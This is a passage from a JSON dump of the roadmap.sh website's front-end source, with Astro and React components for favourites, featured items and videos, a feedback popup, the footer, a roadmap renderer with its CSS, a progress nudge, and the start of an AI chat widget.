1.25H5.93682Z\"\n          fill=\"currentColor\"\n        />\n      </svg>\n    );\n  }\n\n  return (\n    <svg\n      width=\"8\"\n      height=\"10\"\n      viewBox=\"0 0 8 10\"\n      className=\"h-3.5 w-3.5\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M5.93682 0.5H2.06282C1.63546 0.500094 1.22423 0.663195 0.912987 0.956045C0.601741 1.2489 0.413919 1.64944 0.387822 2.076L0.00182198 8.461C-0.012178 8.6905 0.0548218 8.9185 0.191822 9.104L0.242322 9.1665C0.575322 9.5485 1.15132 9.6165 1.56582 9.31L3.99982 7.5115L6.43382 9.31C6.58413 9.42115 6.76305 9.48708 6.94954 9.50006C7.13603 9.51303 7.32235 9.4725 7.4866 9.38323C7.65085 9.29397 7.78621 9.15967 7.87677 8.99613C7.96733 8.83258 8.00932 8.64659 7.99782 8.46L7.61232 2.0765C7.58622 1.64981 7.39835 1.24914 7.08701 0.956192C6.77567 0.663248 6.36431 0.500094 5.93682 0.5Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedItems/FeaturedItem.astro",
    "content": "---\nimport AstroIcon from '../AstroIcon.astro';\nimport { MarkFavorite } from './MarkFavorite';\nexport interface FeaturedItemType {\n  isUpcoming?: boolean;\n  isNew?: boolean;\n  url: string;\n  text: string;\n  allowBookmark?: boolean;\n}\n\nexport interface Props extends FeaturedItemType {}\n\nconst {\n  isUpcoming = false,\n  isNew = false,\n  text,\n  url,\n  allowBookmark = true,\n} = Astro.props;\n---\n\n<a\n  class:list={[\n    'group border border-slate-800 bg-slate-900 p-2.5 sm:p-3.5 block no-underline rounded-lg relative text-slate-400 font-regular text-md hover:border-slate-600 hover:text-slate-100 overflow-hidden',\n    {\n      'opacity-50': isUpcoming,\n    },\n  ]}\n  href={url}\n>\n  <span class='relative z-20 text-slate-400'>\n    {text}\n  </span>\n\n  {\n    allowBookmark && (\n      <MarkFavorite\n        resourceId={url.split('/').pop()!}\n        resourceType={\n          url.includes('best-practices') ? 'best-practice' : 'roadmap'\n        }\n        client:only='react'\n      />\n    )\n  }\n\n  {\n    isNew && (\n      <span class='absolute bottom-1.5 right-2 flex items-center rounded-br rounded-tl text-xs font-medium text-purple-300'>\n        <span class='mr-1.5 flex h-2 w-2'>\n          <span class='absolute inline-flex h-2 w-2 animate-ping rounded-full bg-purple-400 opacity-75' />\n          <span class='relative inline-flex h-2 w-2 rounded-full bg-purple-500' />\n        </span>\n        New\n      </span>\n    )\n  }\n\n  {\n    isUpcoming && (\n      <span class='absolute bottom-1.5 right-2 flex items-center rounded-br rounded-tl text-xs font-medium text-slate-500'>\n        <span class='mr-1.5 flex h-2 w-2'>\n          <span class='absolute inline-flex h-2 w-2 animate-ping rounded-full bg-slate-500 opacity-75' />\n          <span class='relative inline-flex h-2 w-2 rounded-full bg-slate-600' />\n        </span>\n        Upcoming\n      </span>\n    )\n  }\n  <span\n    data-progress\n    class='absolute bottom-0 left-0 top-0 z-10 w-0 bg-[#172a3a] transition-[width] duration-300'\n  ></span>\n</a>\n"
  },
  {
    "path": "src/components/FeaturedItems/FeaturedItems.astro",
    "content": "---\nimport { CreateRoadmapButton } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapButton';\nimport FeaturedItem, { type FeaturedItemType } from './FeaturedItem.astro';\n\nexport interface Props {\n  featuredItems: FeaturedItemType[];\n  heading: string;\n  showCreateRoadmap?: boolean;\n  allowBookmark?: boolean;\n}\n\nconst {\n  featuredItems,\n  heading,\n  showCreateRoadmap,\n  allowBookmark = true,\n} = Astro.props;\n---\n\n<div class='relative border-b border-b-[#1e293c] py-10 sm:py-14'>\n  <div class='container'>\n    <h2\n      class='text-md font-regular absolute -top-[17px] flex rounded-lg border border-[#1e293c] bg-slate-900 px-3 py-1 text-slate-400 sm:left-1/2 sm:-translate-x-1/2'\n    >\n      {heading}\n    </h2>\n\n    <ul class='grid grid-cols-1 gap-2 sm:grid-cols-2 md:grid-cols-3'>\n      {\n        featuredItems.map((featuredItem) => (\n          <li>\n            <FeaturedItem\n              allowBookmark={allowBookmark}\n              text={featuredItem.text}\n              url={featuredItem.url}\n              isNew={featuredItem.isNew}\n              isUpcoming={featuredItem.isUpcoming}\n            />\n          </li>\n        ))\n      }\n      {\n        showCreateRoadmap && (\n          <li>\n            <CreateRoadmapButton client:load className='min-h-[54px]' />\n          </li>\n        )\n      }\n    </ul>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/FeaturedItems/MarkFavorite.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport type { MouseEvent } from 'react';\nimport { httpPatch } from '../../lib/http';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { FavoriteIcon } from './FavoriteIcon';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname';\n\ntype MarkFavoriteType = {\n  resourceType: ResourceType;\n  resourceId: string;\n  favorite?: boolean;\n  className?: string;\n};\n\nexport function MarkFavorite({\n  resourceId,\n  resourceType,\n  favorite,\n  className,\n}: MarkFavoriteType) {\n  const isAuthenticated = isLoggedIn();\n  const localStorageKey = `${resourceType}-${resourceId}-favorite`;\n\n  const toast = useToast();\n  const [isLoading, setIsLoading] = useState(false);\n  const [isFavorite, setIsFavorite] = useState(\n    isAuthenticated\n      ? (favorite ?? localStorage.getItem(localStorageKey) === '1')\n      : false,\n  );\n\n  async function toggleFavoriteHandler(e: MouseEvent<HTMLButtonElement>) {\n    e.preventDefault();\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (isLoading) {\n      return;\n    }\n\n    setIsLoading(true);\n\n    const { error } = await httpPatch<{ status: 'ok' }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-mark-favorite`,\n      {\n        resourceType,\n        resourceId,\n      },\n    );\n\n    if (error) {\n      setIsLoading(false);\n      toast.error('Failed to update favorite status');\n      return;\n    }\n\n    // Dispatching an event instead of setting the state because\n    // MarkFavorite component is used in the HeroSection as well\n    // as featured items section. We will let the custom event\n    // listener set the update `useEffect`\n    window.dispatchEvent(\n      new CustomEvent('mark-favorite', {\n        detail: {\n          resourceId,\n          resourceType,\n          isFavorite: !isFavorite,\n        },\n      }),\n    );\n\n    window.dispatchEvent(new CustomEvent('refresh-favorites', {}));\n    setIsLoading(false);\n  }\n\n  useEffect(() => {\n    const listener = (e: Event) => {\n      const {\n        resourceId: id,\n        resourceType: type,\n        isFavorite: fav,\n      } = (e as CustomEvent).detail;\n      if (id === resourceId && type === resourceType) {\n        setIsFavorite(fav);\n        localStorage.setItem(localStorageKey, fav ? '1' : '0');\n      }\n    };\n\n    window.addEventListener('mark-favorite', listener);\n    return () => {\n      window.removeEventListener('mark-favorite', listener);\n    };\n  }, []);\n\n  return (\n    <button\n      aria-label={isFavorite ? 'Remove from favorites' : 'Add to favorites'}\n      onClick={toggleFavoriteHandler}\n      tabIndex={-1}\n      className={cn(\n        'absolute right-1.5 top-1.5 z-30 focus:outline-0',\n        isFavorite ? '' : 'opacity-30 hover:opacity-100',\n        className,\n      )}\n      data-is-favorite={isFavorite}\n    >\n      {isLoading ? (\n        <Spinner isDualRing={false} />\n      ) : (\n        <FavoriteIcon isFavorite={isFavorite} />\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedVideos/FeaturedVideoList.tsx",
    "content": "import type { VideoFileType } from '../../lib/video';\nimport { VideoListItem } from './VideoListItem';\n\nexport interface FeaturedVideoListProps {\n  heading: string;\n  videos: VideoFileType[];\n}\n\nexport function FeaturedVideoList(props: FeaturedVideoListProps) {\n  const { heading, videos } = props;\n\n  return (\n    <div className=\"container\">\n      <h2 className=\"block text-2xl font-bold sm:text-3xl\">{heading}</h2>\n\n      <div className=\"mt-3 sm:my-5\">\n        {videos.map((video) => (\n          <VideoListItem key={video.id} video={video} />\n        ))}\n      </div>\n\n      <a\n        href=\"/videos\"\n        className=\"hidden rounded-full bg-linear-to-r from-slate-600 to-black px-3 py-2 text-xs font-medium text-white transition-colors hover:from-blue-600 hover:to-blue-800 sm:inline\"\n      >\n        View All Videos &rarr;\n      </a>\n\n      <div className=\"mt-3 block sm:hidden\">\n        <a\n          href=\"/videos\"\n          className=\"font-regular block rounded-md border border-black p-2 text-center text-sm text-black hover:bg-black hover:text-gray-50\"\n        >\n          View All Videos &nbsp;&rarr;\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedVideos/VideoListItem.tsx",
    "content": "import type { VideoFileType } from '../../lib/video';\n\nexport interface VideoListItemProps {\n  video: VideoFileType;\n}\n\nexport function VideoListItem(props: VideoListItemProps) {\n  const { video } = props;\n  const { frontmatter, id } = video;\n\n  return (\n    <a\n      className=\"block no-underline py-2 group text-md items-center text-gray-600 hover:text-blue-600 flex justify-between border-b\"\n      href={`/videos/${id}`}\n    >\n      <span className=\"group-hover:translate-x-2 transition-transform\">\n        {frontmatter.title}\n\n        {frontmatter.isNew && (\n          <span className=\"bg-green-300 text-green-900 text-xs font-medium px-1.5 py-0.5 rounded-xs uppercase ml-1.5\">\n            New\n            <span className=\"hidden sm:inline\">\n              &middot;\n              {new Date(frontmatter.date).toLocaleString('default', {\n                month: 'long',\n              })}\n            </span>\n          </span>\n        )}\n      </span>\n      <span className=\"capitalize text-gray-500 text-xs hidden sm:block\">\n        {frontmatter.duration}\n      </span>\n\n      <span className=\"text-gray-400 text-xs block sm:hidden\"> &raquo;</span>\n    </a>\n  );\n} "
  },
  {
    "path": "src/components/Feedback/SubmitFeedbackPopup.tsx",
    "content": "import { type FormEvent, useEffect, useRef, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { useTeamId } from '../../hooks/use-team-id';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { httpPost } from '../../lib/http';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\ntype SubmitFeedbackPopupProps = {\n  onClose: () => void;\n};\n\nexport function SubmitFeedbackPopup(props: SubmitFeedbackPopupProps) {\n  const { onClose } = props;\n\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const inputEl = useRef<HTMLTextAreaElement>(null);\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const [feedbackText, setFeedbackText] = useState('');\n  const [isSuccess, setIsSuccess] = useState(false);\n  const { teamId } = useTeamId();\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useEffect(() => {\n    inputEl.current?.focus();\n  }, []);\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    setError('');\n\n    const { response, error } = await httpPost<{ status: 'ok' }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-submit-team-feedback/${teamId}`,\n      {\n        feedback: feedbackText,\n      }\n    );\n\n    if (error || !response) {\n      setIsLoading(false);\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setIsSuccess(true);\n  };\n\n  const handleClosePopup = () => {\n    setIsLoading(false);\n    setError('');\n    setFeedbackText('');\n\n    onClose();\n  };\n\n  return (\n    <div className=\"fixed left-0 right-0 top-0 z-50 flex h-full items-center justify-center overflow-y-auto overflow-x-hidden bg-black/50\">\n      <div className=\"relative h-full w-full max-w-md p-4 md:h-auto\">\n        <div\n          ref={popupBodyEl}\n          className=\"popup-body relative rounded-lg bg-white p-4 shadow-sm\"\n        >\n          {!isSuccess && (\n            <>\n              <h2 className=\"mb-1 text-xl font-semibold text-black\">\n                Enter your feedback\n              </h2>\n              <p className={'text-sm text-gray-500'}>\n                Help us improve your experience.\n              </p>\n              <form onSubmit={handleSubmit}>\n                <div className=\"my-4\">\n                  <textarea\n                    ref={inputEl}\n                    name=\"submit-feedback\"\n                    id=\"submit-feedback\"\n                    className=\"mt-2 block min-h-[150px] w-full resize-none rounded-md border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400\"\n                    placeholder=\"Enter your feedback\"\n                    required\n                    autoFocus\n                    value={feedbackText}\n                    onInput={(e) =>\n                      setFeedbackText((e.target as HTMLInputElement).value)\n                    }\n                  />\n                  {error && (\n                    <p className=\"mt-2 rounded-md bg-red-100 p-2 text-red-700\">\n                      {error}\n                    </p>\n                  )}\n                </div>\n\n                <div className=\"flex items-center gap-2\">\n                  <button\n                    type=\"button\"\n                    disabled={isLoading}\n                    onClick={handleClosePopup}\n                    className=\"grow cursor-pointer rounded-md bg-gray-200 py-2 text-center\"\n                  >\n                    Cancel\n                  </button>\n                  <button\n                    disabled={isLoading}\n                    type=\"submit\"\n                    className=\"grow cursor-pointer rounded-md bg-black py-2 text-white disabled:opacity-40\"\n                  >\n                    {isLoading ? 'Please wait ..' : 'Send'}\n                  </button>\n                </div>\n              </form>\n            </>\n          )}\n\n          {isSuccess && (\n            <div className=\"flex w-full flex-col items-center\">\n              <CheckIcon additionalClasses=\"w-14 h-14 text-green-500 mt-4\" />\n              <h1 className=\"mt-4 text-xl font-semibold text-black sm:text-2xl\">\n                Feedback Submitted\n              </h1>\n              <p className=\"text-center text-sm text-gray-500 sm:text-base\">\n                Thank you for submitting your feedback.\n              </p>\n              <button\n                type=\"button\"\n                onClick={handleClosePopup}\n                className=\"mt-4 w-full grow cursor-pointer rounded-lg bg-black py-2 text-center text-white disabled:opacity-40\"\n              >\n                Close\n              </button>\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Footer.astro",
    "content": "---\nimport AstroIcon from './AstroIcon.astro';\nimport Icon from './AstroIcon.astro';\nimport { CookieSettingsButton } from './CookieSettingsButton';\n---\n\n<div class='bg-slate-900 py-6 pb-10 text-white sm:py-16'>\n  <div class='container'>\n    <p\n      class='mb-8 flex flex-col justify-center gap-0 font-medium text-gray-400 sm:mb-16 sm:flex-row sm:gap-4'\n    >\n      <a\n        class='border-b border-b-gray-700 px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='/roadmaps'>Roadmaps</a\n      >\n      <a\n        class='border-b border-b-gray-700 px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='/best-practices'>Best Practices</a\n      >\n      <a\n        class='border-b border-b-gray-700 px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='/guides'>Guides</a\n      >\n      <a\n        class='border-b border-b-gray-700 px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='/videos'>Videos</a\n      >\n      <a\n        class='border-b border-b-gray-700 px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='/about'>FAQs</a\n      >\n      <a\n        class='px-2 py-1.5 transition-colors hover:text-white sm:border-b-0 sm:px-0 sm:py-0'\n        href='https://youtube.com/theroadmap?sub_confirmation=1'\n        target='_blank'>YouTube</a\n      >\n    </p>\n\n    <div class='flex flex-col justify-between gap-8 lg:flex-row lg:gap-2'>\n      <div class='max-w-[425px]'>\n        <p class='text-md flex items-center'>\n          <a\n            class='inline-flex items-center text-lg font-medium text-white transition-colors hover:text-gray-400'\n            href='/'\n          >\n            <Icon icon='logo' />\n            <span class='ml-2'>roadmap.sh</span>\n          </a>\n          <span class='mx-2 text-gray-400'>by</span>\n          <a\n            class='font-regular rounded-md bg-blue-600 px-1.5 py-1 text-sm hover:bg-blue-700'\n            href='https://x.com/kamrify'\n            target='_blank'\n          >\n            <span class='hidden sm:inline'>@kamrify</span>\n            <span class='inline sm:hidden'>@kamrify</span>\n          </a>\n        </p>\n        <p class='my-4 text-slate-300/60'>\n          Community created roadmaps, best practices, projects, articles,\n          resources and journeys to help you choose your path and grow in your\n          career.\n        </p>\n        <div class='text-sm text-gray-400'>\n          <p>\n            &copy; roadmap.sh\n            <span class='mx-1.5'>&middot;</span>\n            <a href='/terms' class='hover:text-white'>Terms</a>\n            <span class='mx-1.5'>&middot;</span>\n            <a href='/privacy' class='hover:text-white'>Privacy</a>\n            <span class='mx-1.5'>&middot;</span>\n            <a\n              aria-label='Follow on LinkedIn'\n              href='https://www.linkedin.com/company/roadmapsh'\n              class='hover:text-white'\n              target='_blank'\n            >\n              <AstroIcon\n                icon='linkedin-2'\n                class='inline-block h-5 w-5 fill-current'\n              />\n            </a>\n            <a\n              aria-label='Subscribe to YouTube channel'\n              href='https://youtube.com/theroadmap?sub_confirmation=1'\n              target='_blank'\n              class='ml-2 hover:text-white'\n            >\n              <AstroIcon icon='youtube' class='inline-block h-5 w-5' />\n            </a>\n            <a\n              aria-label='Follow on Twitter'\n              href='https://twitter.com/roadmapsh'\n              target='_blank'\n              class='ml-2 hover:text-white'\n            >\n              <AstroIcon\n                icon='twitter-fill'\n                class='inline-block h-5 w-5 fill-current'\n              />\n            </a>\n            <a\n              aria-label='Follow on Blusky'\n              href='http://roadmapsh.bsky.social/'\n              target='_blank'\n              class='ml-2 hover:text-white'\n            >\n              <AstroIcon\n                icon='blusky'\n                class='inline-block h-5 w-5 fill-current'\n              />\n            </a>\n          </p>\n        </div>\n      </div>\n\n      <div class='max-w-[340px] text-left lg:text-right'>\n        <a href='https://thenewstack.io' target='_blank'>\n          <img\n            src='/img/tns-sm.png'\n            alt='ThewNewStack'\n            class='my-1.5 mr-auto lg:mr-0 lg:ml-auto'\n            width='200'\n            height='24.8'\n            loading='lazy'\n          />\n        </a>\n        <p class='my-4 text-slate-300/60'>\n          The top DevOps resource for Kubernetes, cloud-native computing, and\n          large-scale development and deployment.\n        </p>\n        <div class='text-sm text-gray-400'>\n          <p>\n            <a\n              href='https://thenewstack.io/category/devops?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Footer'\n              target='_blank'\n              class='text-gray-400 hover:text-white'>DevOps</a\n            >\n            <span class='mx-1.5'>&middot;</span>\n            <a\n              href='https://thenewstack.io/category/kubernetes?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Footer'\n              target='_blank'\n              class='text-gray-400 hover:text-white'>Kubernetes</a\n            >\n            <span class='mx-1.5'>&middot;</span>\n            <a\n              href='https://thenewstack.io/category/cloud-native?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Footer'\n              target='_blank'\n              class='text-gray-400 hover:text-white'>Cloud-Native</a\n            >\n          </p>\n        </div>\n      </div>\n    </div>\n\n    <CookieSettingsButton client:load />\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/FrameRenderer/FrameRenderer.astro",
    "content": "---\nimport Loader from '../Loader.astro';\nimport './FrameRenderer.css';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { ProgressNudge } from './ProgressNudge';\n\nexport interface Props {\n  resourceType: 'roadmap' | 'best-practice';\n  resourceId: string;\n  dimensions?: {\n    width: number;\n    height: number;\n  };\n}\n\nconst { resourceId, resourceType, dimensions = null } = Astro.props;\n---\n\n<div\n  class='mt-3.5'\n  id='resource-svg-wrap'\n  style={dimensions\n    ? `--aspect-ratio:${dimensions.width}/${dimensions.height}`\n    : null}\n  data-resource-type={resourceType}\n  data-resource-id={resourceId}\n>\n  <div id='resource-loader'>\n    <Loader />\n  </div>\n</div>\n\n<ProgressNudge resourceId={resourceId} resourceType={resourceType} />\n\n<script src='./renderer.ts'></script>\n"
  },
  {
    "path": "src/components/FrameRenderer/FrameRenderer.css",
    "content": "svg text tspan {\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  text-rendering: optimizeSpeed;\n}\n\ncode:not(pre code) {\n  background: #1e1e3f;\n  color: #9efeff;\n  padding: 3px 5px;\n  font-size: 14px;\n  border-radius: 3px;\n}\n\nsvg .clickable-group {\n  cursor: pointer;\n}\n\nsvg .clickable-group:hover > [fill='rgb(65,53,214)'] {\n  fill: #232381;\n  stroke: #232381;\n}\n\nsvg .clickable-group:hover > [fill='rgb(255,255,0)'] {\n  fill: #d6d700;\n}\n\nsvg .clickable-group:hover > [fill='rgb(255,229,153)'] {\n  fill: #f3c950;\n}\nsvg .clickable-group:hover > [stroke='rgb(255,229,153)'] {\n  stroke: #f3c950;\n}\n\nsvg .clickable-group:hover > [fill='rgb(153,153,153)'] {\n  fill: #646464;\n}\n\nsvg .clickable-group:hover > [fill='rgb(255,255,255)'] {\n  fill: #d7d7d7;\n}\n\nsvg .clickable-group:hover > [fill='rgb(255,255,221)'] {\n  fill: #e5e5be;\n}\n\nsvg .clickable-group:hover > [fill='rgb(255,217,102)'] {\n  fill: #d9b443;\n}\n\nsvg .done rect {\n  fill: #cbcbcb !important;\n}\n\nsvg .done rect[stroke='rgb(255,229,153)'] {\n  stroke: #cbcbcb !important;\n}\n\nsvg .done text,\nsvg .skipped text {\n  text-decoration: line-through;\n}\n\nsvg .learning rect {\n  fill: #dad1fd !important;\n}\n\nsvg .skipped rect {\n  fill: #496b69 !important;\n}\n\nsvg .learning rect[fill='rgb(51,51,51)'] + text,\nsvg .done rect[fill='rgb(51,51,51)'] + text {\n  fill: black !important;\n}\n\nsvg .learning text {\n  text-decoration: underline;\n}\n\nsvg .clickable-group.done[data-group-id^='check:'] rect {\n  fill: gray !important;\n  stroke: gray !important;\n}\n\n.clickable-group rect {\n  user-select: none;\n}\n\nsvg .removed rect {\n  fill: #fdfdfd !important;\n  stroke: #c4c4c4 !important;\n}\n\nsvg .removed text {\n  fill: #9c9c9c !important;\n}\n\nsvg .removed g,\nsvg .removed circle,\nsvg .removed path {\n  opacity: 0;\n}\n\n/************************************\n    Aspect ratio implementation\n  *************************************/\n[style*='--aspect-ratio'] > :first-child {\n  width: 100%;\n}\n\n[style*='--aspect-ratio'] > img {\n  height: auto;\n}\n\n@supports (--custom: property) {\n  [style*='--aspect-ratio'] {\n    position: relative;\n  }\n\n  [style*='--aspect-ratio']::before {\n    content: '';\n    display: block;\n    /*noinspection CssUnresolvedCustomProperty*/\n    padding-bottom: calc(100% / (var(--aspect-ratio)));\n  }\n\n  [style*='--aspect-ratio'] > :first-child {\n    position: absolute;\n    top: 0;\n    left: 0;\n    height: 100%;\n  }\n}\n\n#customized-roadmap #resource-svg-wrap:not([data-renderer]) g:not([class]),\n#customized-roadmap #resource-svg-wrap:not([data-renderer]) circle,\n#customized-roadmap #resource-svg-wrap:not([data-renderer]) path[stroke='#fff'],\n#customized-roadmap\n  #resource-svg-wrap:not([data-renderer])\n  g[data-group-id$='-note'] {\n  display: none;\n}\n\n/*.clickable-group:hover {*/\n/*  cursor: url(/img/cursors/add.svg) 5 5, move;*/\n/*}*/\n"
  },
  {
    "path": "src/components/FrameRenderer/ProgressNudge.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\nimport { roadmapProgress, totalRoadmapNodes } from '../../stores/roadmap.ts';\nimport { useStore } from '@nanostores/react';\nimport { Calendar, X } from 'lucide-react';\nimport { useState } from 'react';\nimport { ScheduleEventModal } from '../Schedule/ScheduleEventModal.tsx';\n\ntype ProgressNudgeProps = {\n  resourceType: 'roadmap' | 'best-practice';\n  resourceId: string;\n};\n\nexport function ProgressNudge(props: ProgressNudgeProps) {\n  const { resourceId, resourceType } = props;\n\n  const [isNudgeHidden, setIsNudgeHidden] = useState(false);\n  const [isScheduleModalOpen, setIsScheduleModalOpen] = useState(false);\n\n  const $totalRoadmapNodes = useStore(totalRoadmapNodes);\n  const $roadmapProgress = useStore(roadmapProgress);\n\n  const done =\n    ($roadmapProgress?.done?.length || 0) +\n    ($roadmapProgress?.skipped?.length || 0);\n\n  const hasProgress = done > 0;\n\n  if (!$totalRoadmapNodes || isNudgeHidden) {\n    return null;\n  }\n\n  return (\n    <>\n      {isScheduleModalOpen && (\n        <ScheduleEventModal\n          onClose={() => {\n            setIsScheduleModalOpen(false);\n          }}\n          roadmapId={resourceId}\n        />\n      )}\n      <div\n        className={\n          'fixed bottom-5 left-1/2 -translate-x-1/4 z-30 hidden transform animate-fade-slide-up flex-row gap-1.5 transition-all duration-300 lg:flex'\n        }\n      >\n        <div\n          className={\n            'relative overflow-hidden rounded-full bg-stone-900 px-4 py-2 text-center text-white shadow-2xl'\n          }\n        >\n          <span\n            className={cn('flex items-center', {\n              hidden: hasProgress,\n            })}\n          >\n            <span className=\"mr-2 text-sm font-semibold uppercase text-yellow-400\">\n              Tip\n            </span>\n            <span className=\"text-sm text-gray-200\">\n              Right-click a topic to mark it as done &nbsp;\n            </span>\n          </span>\n          <span\n            className={cn('relative z-20 block text-sm', {\n              hidden: !hasProgress,\n            })}\n          >\n            <span className=\"relative -top-[0.45px] mr-2 text-xs font-medium uppercase text-yellow-400\">\n              Progress\n            </span>\n            <span>{done > $totalRoadmapNodes ? $totalRoadmapNodes : done}</span>{' '}\n            of <span>{$totalRoadmapNodes}</span> Done\n          </span>\n\n          <span\n            className=\"absolute bottom-0 left-0 top-0 z-10 bg-stone-700\"\n            style={{\n              width: `${(done / $totalRoadmapNodes) * 100}%`,\n            }}\n          ></span>\n        </div>\n        {resourceType === 'roadmap' && (\n          <button\n            onClick={() => {\n              setIsScheduleModalOpen(true);\n            }}\n            className=\"group relative flex items-center gap-2 rounded-full bg-stone-900 px-3 text-sm text-yellow-400\"\n          >\n            <Calendar className=\"h-4 w-4 shrink-0\" strokeWidth={2.5} />\n          </button>\n        )}\n        <button\n          onClick={() => {\n            setIsNudgeHidden(true);\n          }}\n          className=\"group relative flex items-center gap-2 rounded-full bg-stone-900 px-3 text-sm text-yellow-400\"\n        >\n          <X className=\"h-4 w-4 shrink-0\" strokeWidth={2.5} />\n        </button>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/FrameRenderer/RoadmapFloatingChat.tsx",
    "content": "import '../ChatMessages/AIChat.css';\n\nimport { useQuery } from '@tanstack/react-query';\nimport type { JSONContent } from '@tiptap/core';\nimport {\n  BookOpen,\n  ChevronDown,\n  Loader2Icon,\n  MessageCirclePlus,\n  PauseCircleIcon,\n  PersonStanding,\n  Plus,\n  SendIcon,\n  SquareArrowOutUpRight,\n  Trash2,\n  Wand2,\n  X,\n} from 'lucide-react';\nimport { useEffect, useMemo, useRef, useState } from 'react';\nimport { flushSync } from 'react-dom';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { cn } from '../../lib/classname';\nimport { lockBodyScroll } from '../../lib/dom';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { slugify } from '../../lib/slugger';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { chatHistoryOptions } from '../../queries/chat-history';\nimport { roadmapJSONOptions } from '../../queries/roadmap';\nimport { roadmapQuestionsOptions } from '../../queries/roadmap-questions';\nimport { queryClient } from '../../stores/query-client';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { RoadmapAIChatHistory } from '../RoadmapAIChatHistory/RoadmapAIChatHistory';\nimport { CLOSE_TOPIC_DETAIL_EVENT } from '../TopicDetail/TopicDetail';\nimport { UpdatePersonaModal } from '../UserPersona/UpdatePersonaModal';\nimport { shuffle } from '../../helper/shuffle';\nimport { useChat } from '@ai-sdk/react';\nimport { chatRoadmapTransport } from '../../lib/ai';\nimport { useAIChatScroll } from '../../hooks/use-ai-chat-scroll';\nimport { RoadmapChatMessages } from '../ChatMessages/RoadmapChatMessages';\n\ntype ChatHeaderButtonProps = {\n  onClick?: () => void;\n  href?: string;\n  icon: React.ReactNode;\n  children?: React.ReactNode;\n  className?: string;\n  target?: string;\n};\n\nexport function ChatHeaderButton(props: ChatHeaderButtonProps) {\n  const { onClick, href, icon, children, className, target } = props;\n\n  const classNames = cn(\n    'flex shrink-0 items-center gap-1.5 text-xs text-gray-600 transition-colors hover:text-gray-900 min-w-8',\n    className,\n  );\n\n  if (!onClick && !href) {\n    return (\n      <span className={classNames}>\n        {icon}\n        {children && <span className=\"hidden sm:block\">{children}</span>}\n      </span>\n    );\n  }\n\n  if (href) {\n    return (\n      <a\n        href={href}\n        target={target}\n        rel=\"noopener noreferrer\"\n        className={classNames}\n      >\n        {icon}\n        {children && <span className=\"hidden sm:block\">{children}</span>}\n      </a>\n    );\n  }\n\n  return (\n    <button onClick={onClick} className={classNames}>\n      {icon}\n      {children && <span className=\"hidden sm:block\">{children}</span>}\n    </button>\n  );\n}\n\ntype UpgradeMessageProps = {\n  onUpgradeClick?: () => void;\n};\n\nfunction UpgradeMessage(props: UpgradeMessageProps) {\n  const { onUpgradeClick } = props;\n\n  return (\n    <div className=\"border-t border-gray-200 bg-black px-3 py-3\">\n      <div className=\"flex items-center gap-2.5\">\n        <Wand2 className=\"h-4 w-4 flex-shrink-0 text-white\" />\n        <div className=\"flex-1 text-sm\">\n          <p className=\"mb-1 font-medium text-white\">\n            You've reached your AI usage limit\n          </p>\n          <p className=\"text-xs text-gray-300\">\n            Upgrade to Pro for relaxed limits and advanced features\n          </p>\n        </div>\n        <button\n          className=\"flex-shrink-0 rounded-md bg-white px-3 py-1.5 text-xs font-medium text-black transition-colors hover:bg-gray-100\"\n          onClick={onUpgradeClick}\n        >\n          Upgrade to Pro\n        </button>\n      </div>\n    </div>\n  );\n}\n\ntype UsageButtonProps = {\n  percentageUsed: number;\n  onUpgradeClick?: () => void;\n};\n\nfunction UsageButton(props: UsageButtonProps) {\n  const { percentageUsed, onUpgradeClick } = props;\n\n  return (\n    <button\n      onClick={onUpgradeClick}\n      